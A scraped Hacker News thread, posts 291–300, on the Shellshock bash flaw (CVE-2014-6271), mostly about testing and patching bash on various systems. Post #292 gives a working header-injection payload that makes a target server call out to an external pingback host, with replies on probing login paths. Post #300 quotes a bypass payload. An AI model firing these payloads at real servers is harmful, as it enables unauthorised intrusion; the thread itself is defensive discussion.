Live data from Hacker News

CVE-2014-6271: Remote code execution through bash

seclists.org

291–300 of 432 posts

Re: CVE-2014-6271: Remote code execution through bash

#291

What would be the best way to go if using Debian 5 (lenny)? The only service exposed is ssh, and no one outside the company has an account. Is it still vulnerable through ssh?

see http://seclists.org/oss-sec/2014/q3/651. can't say i understood much, but the answer i can give is 'likely'.

Re: CVE-2014-6271: Remote code execution through bash

#292

This is quite stealthy way to scan, as Accept headers are generally not logged: curl -H 'Accept: () { :;}; /usr/bin/curl -so /dev/null http://my.pingback.com' Found nothing so far though. IMHO the number of Bash CGI scripts in the wild must be pretty low.

Maybe the bash is invoked on some other request path, not just / which you are scanning.

I would go with /login and such, or write a crawler to parse out where the login/logout URLs are and try those.

Re: CVE-2014-6271: Remote code execution through bash

#293
post #164

Earlier quoted context omitted.

Just don't turn it off after you've ran `pacman -Syu`, it will never boot again ;)

I know you're just teasing, but I've got a machine with an arch install from over two years ago that's still running great. Just did an -Syyu to get bash updated.

The trick is to keep up with the updates, do pacman -Syu every two weeks or so, and not wait months.

Re: CVE-2014-6271: Remote code execution through bash

#294

Off topic: This is why I keep coming back to HN. I've gotten an amazing amount of useful info on this very quickly. Great discussion - no trolling, no BS, just serious questions and serious answers.

Don't tell anyone.

See:

http://en.wikipedia.org/wiki/Eternal_September

http://www.reddit.com/r/OutOfTheLoop/comments/1i8mp7/what_is...

Re: CVE-2014-6271: Remote code execution through bash

#295
post #115

Earlier quoted context omitted.

I ran env x='() { :;}; echo vulnerable' bash -c "echo this is a test" and got vulnerable this is a test so I did apt-get update apt-get install bash and now I get bash: warning: x: ignoring function definition attempt bash: error importing function definition for `x' this is a test bash version 4.2.37(1)-release Edited: Seems like jvreeland has a clearer picture: https://news.ycombinator.com/item?id=8362309

Yeah, I was current yesterday and I'm current today, with both apt-get update and upgrades. Your version number is lower than mine, you must be on either stable or testing. ii bash 4.3-9 i386 GNU Bourne Again SHell $ env x='() { :;}; echo vulnerable' bash -c "echo this is a test" vulnerable this is a test From the FAQ: > Does sid have security updates? Not in the same sense that stable does. If the maintainer of a pa…

sid/unstable had a fix uploaded ~3 hrs ago fwiw (after you made your comment).

Re: CVE-2014-6271: Remote code execution through bash

#296
post #256
post #251

I'm a bit confused about how to properly patch my mac. Homebrew installs upgraded bash to /usr/local/bin/bash, everyone says what I should do is run 'chsh -s /usr/local/bin/bash' but if I have a script that has a /bin/bash hashbang at the top, won't it still use the vulnerable bash install? I mean I guess the answer is "you're probably not hosting a publicly accessible service on your mac, who cares?", which is true…

You're correct – you'd need to overwrite /bin/bash (think long and hard about this) to update it before Apple ships an update. The good news is that as long as you're not running a local server, the vulnerability is pretty limited particularly since even if you did have SSH enabled the exploit would require valid authentication first.

At least on linux that's not true as NetworkManager + dhclient is affected through malicious dhcp packets. There could be attack vectors almost everywhere.

Re: CVE-2014-6271: Remote code execution through bash

#297
post #236

Interestingly enough ancient BASH version 3.2 on Mac OS X 10.9.5 is not vulnerable: $ echo $BASH_VERSION 3.2.51(1)-release $ x='() { :;}; echo vulnerable' bash -c "echo this is a test" bash: warning: x: ignoring function definition attempt bash: error importing function definition for `x' this is a test $ I manually patched my BASH 4.3 to patch level 25 so it's not vulnerable either. $ echo $BASH_VERSION 4.3.25(1)-re…

Since other people are reporting that their copies of bash 3.2.51 are vulnerable, I suspect that the version of bash that is currently running in that terminal is 3.2.51 and vulnerable, but the version of bash that you are invoking from that vulnerable version of bash is not. In other words, I suspect that: $ echo $BASH_VERSION and $ bash --version Will report different version numbers. If you start a new terminal an…

That could be the reason. I have renamed /bin/bash version 3.2 to /bin/bash3 and copied /usr/local/bin/bash that I build myself to /bin/bash making effectively bash version 4.3 the default login and system shell.

I started bash 3.2 from bash 4.3 so that could be the reason why it is not vulnerable as child process.

Re: CVE-2014-6271: Remote code execution through bash

#299
Here's how to patch Ubuntu 8.04 or anything where you have to build bash from source:

  #assume that your sources are in /src
  cd /src
  wget http://ftp.gnu.org/gnu/bash/bash-4.3.tar.gz
  #download all patches
  for i in $(seq -f "%03g" 0 25); do wget     http://ftp.gnu.org/gnu/bash/bash-4.3-patches/bash43-$i; done
  tar zxvf bash-4.3.tar.gz 
  cd bash-4.3
  #apply all patches
  for i in $(seq -f "%03g" 0 25);do patch -p0 
Not sure if Ubuntu 8.04 with custom built bash will be upgradable to 10.04??

Re: CVE-2014-6271: Remote code execution through bash

#300

env x='() { :;}; echo vulnerable' bash -c "echo this is a test" From https://securityblog.redhat.com/2014/09/24/bash-specially-cr...

Whoa. I tried this, ran pacaur -Suy and .. it's patched. Arch was fast.

http://seclists.org/oss-sec/2014/q3/672

Still vulnerable.

env X='() { (lol)=>\' bash -c "echo id"; cat echo

Post reply on HN